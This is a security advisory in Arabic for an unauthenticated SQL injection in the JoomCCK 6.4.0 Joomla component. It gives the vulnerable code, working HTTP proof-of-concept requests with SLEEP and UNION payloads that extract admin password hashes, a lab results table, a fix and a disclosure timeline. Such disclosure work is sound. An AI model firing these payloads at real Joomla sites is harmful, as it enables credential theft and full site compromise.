
CVE-2026-49048 — JoomCCK 6.4.0 حقن SQL بدون مصادقة (CVSS 9.8)
CVE: CVE-2026-49048
الحالة: إفصاح عام. تم الإبلاغ إلى فريق الاستجابة الأمنية لـ Joomla (JSST) — التذكرة #282420.
| الحقل | القيمة |
|---|---|
| معرّف التنبيه | JOOMCCK-2026-001 |
| CVE | CVE-2026-49048 |
| المنتج | JoomCCK (com_joomcck) — مجموعة بناء المحتوى لـ Joomla |
| المورّد | JoomCoder — https://www.joomcoder.com |
| الإصدارات المتأثرة | 6.4.0 (الأحدث وقت الاكتشاف؛ يُفترض تأثر إصدارات 6.x الأقدم) |
| الإصدار المُصلَح | لا يوجد وقت كتابة هذا التقرير |
| النوع | حقن SQL (CWE-89) عبر غياب التفويض (CWE-862) |
| المصادقة المطلوبة | لا شيء — غير مُصادَق عليه، قبل المصادقة |
| الخطورة | حرجة — درجة CVSS 3.1 الأساسية 9.8 |
| متجه CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| المكتشِف | Kamil Soltanov |
| جهة الاتصال | [email protected] |
| تاريخ الاكتشاف | 2026-06-22 |
يكشف مكوّن JoomCCK الخاص بـ Joomla 4/5/6 عن مهمة في وحدة التحكم بالواجهة الأمامية (task=tags.save) تقوم بدمج المعامل tag المُقدَّم من المستخدم مباشرةً في استعلام SQL دون تهريب أو تعقيم أو استخدام معاملات. ولا يقوم موزّع MVC المخصص الخاص بالمكوّن بأي فحص لرمز CSRF ولا أي فحص للتحكم في الوصول، مما يجعل الحقن متاحًا لمهاجم بعيد غير مُصادَق عليه بالكامل.
يتيح الاستغلال الناجح وصولاً كاملاً للقراءة إلى قاعدة بيانات Joomla — بما في ذلك تجزئات كلمات المرور في #__users — عبر حقن SQL الأعمى القائم على UNION والقائم على الوقت، مما يؤدي إلى اختراق كامل للموقع.
libraries/mint/mvc/controller/base.php — MControllerBase::execute():
public function execute($task)
{
$this->task = $task;
$task = !is_null($task) ? strtolower($task) : '';
$doTask = $this->taskMap[$task];
...
return $this->$doTask(); // Invoked with no checkToken(), no authorise()
}
تُعدّ الدالة authorise() في الصنف نفسه عملية لا تُنفّذ شيئًا (no-op) تُرجع true دون أي شرط.
نقطة الدخول components/com_joomcck/joomcck.php تستدعي execute(input->get('task')) دون أي بوابة تسجيل دخول أو رمز أو تحكم في الوصول (ACL) → لذا فإن كل دالة عامة في المتحكم (controller) تُعدّ مهمة غير مُصادَق عليها.
tags.save (CWE-89)components/com_joomcck/models/tags.php — _saveTag():
$tag = $app->input->getString('tag'); // Joomla 'STRING' filter: strips HTML but NOT SQL quotes
$query = ' SELECT a.* FROM #__js_res_tags AS a WHERE a.tag = "' . $tag . '"'; // INJECTABLE
$exist_item = $this->_getList($query);
// Later:
$query = 'UPDATE #__js_res_tags SET tag = "' . $tag . '" WHERE id =' . $id; // INJECTABLE
يُزيل مرشّح الإدخال STRING في Joomla وسوم HTML لكنه يمرّر " دون تغيير — وهو نفس المحرف المستخدم كمحدّد لسلسلة SQL هنا. الخروج من النص الحرفي المُحاط بعلامات اقتباس يحقن SQL عشوائيًا.
GET /index.php?option=com_joomcck&task=tags.save&id=1&tag=x%22%20OR%20SLEEP(5)--%20- HTTP/1.1
Host: target.example.com
المتوقع: تأخر الاستجابة ≥ 5 ثوانٍ (لكل صف مطابق).
GET /index.php?option=com_joomcck&task=tags.save&id=1&tag=x%22%20UNION%20SELECT%20id,username,password%20FROM%20%23__users--%20- HTTP/1.1
Host: target.example.com
الكود الكامل لـ PoC ونص الأدلة المُلتقطة موجودان في poc/.
أبرز نتائج المختبر:
الحمولة (tag=) | النتيجة |
|---|---|
cars (غير ضارة) | تم إرجاع صف واحد — طبيعي |
zzz" OR "1"="1 | " غير مُهرَّب → تم إرجاع جميع الصفوف (تأكيد الحقن) |
zzz" UNION SELECT id,username,password FROM jos_users-- - | تم تسريب تجزئة كلمة مرور المسؤول |
zzz" OR SLEEP(3)-- - | تأخر الاستجابة 9.0 ثانية (3 صفوف × 3 ثوانٍ) |
تستخدم أداة المختبر الدالة الحقيقية
Joomla\Input\Input::getString()واستعلام_saveTag()الحرفي ضد نسخة MariaDB 11.8 حيّة.
يمكن لمهاجم بعيد غير مُصادَق عليه أن:
#__js_res_tags عبر UPDATE القابل للحقنtask=tags.delete وtask=records.copy (أيضًا بدون مصادقة — نفس خلل الموزّع)يكشف نفس خلل الموزّع عن مهام إضافية غير مُصادَق عليها:
| المهمة | التأثير |
|---|---|
tags.delete | حذف أي وسم دون مصادقة |
records.copy | تكرار أي سجل دون مصادقة |
ajax.category_records | تعداد السجلات حسب الفئة |
ajax.tags_list | سرد جميع الوسوم |
ajax.users_filter | تعداد أسماء المستخدمين |
ajax.loadfieldparams | الكشف عن إعدادات الحقول |
ملاحظة: العديد من مهام records.* تفرض ACL داخليًا عبر _checkAccess() وليست متأثرة.
1. استخدم المعاملات في جميع الاستعلامات (باني استعلامات Joomla):
$db = $this->getDatabase();
$tag = $app->input->getString('tag');
// SELECT
$query = $db->getQuery(true)
->select('a.*')
->from($db->quoteName('#__js_res_tags', 'a'))
->where($db->quoteName('a.tag') . ' = ' . $db->quote($tag));
// UPDATE
$upd = $db->getQuery(true)
->update($db->quoteName('#__js_res_tags'))
->set($db->quoteName('tag') . ' = ' . $db->quote($tag))
->where($db->quoteName('id') . ' = ' . (int) $id);
2. فرض التفويض في الموزّع (dispatcher) — أضف Session::checkToken() وفحص ACL (Factory::getApplication()->getIdentity()->authorise(...)) قبل جميع المهام التي تغيّر الحالة، بما يحاكي الحمايات الموجودة بالفعل في files.upload.
| التاريخ | الحدث |
|---|---|
| 2026-06-22 | اكتشاف الثغرة والتحقق منها عبر PoC في مختبر محلي |
| 2026-06-22 | إعداد الاستشارة الأمنية؛ الإبلاغ إلى فريق الاستجابة الأمنية في Joomla (JSST) وVEL |
| 2026-06-23 | تأكيد الاستلام من JSST — David Jardin، التذكرة #282420. التنسيق مع المورّد (JoomCoder) عبر JSST |
| 2026-06-25 | تأكيد الاستغلال الفعلي على موقع Joomla إنتاجي: SLEEP(5) ← استجابة 115 ثانية؛ خطأ MySQL 1222 عند UNION (غير مدمّر، لم تُسرَّب أي بيانات) |
| TBD | تصحيح من المورّد |
| TBD | إسناد CVE |
| TBD | الإفصاح العام (نافذة تنسيق مدتها 90 يومًا) |
باحث أمني مستقل.
للتواصل: [email protected]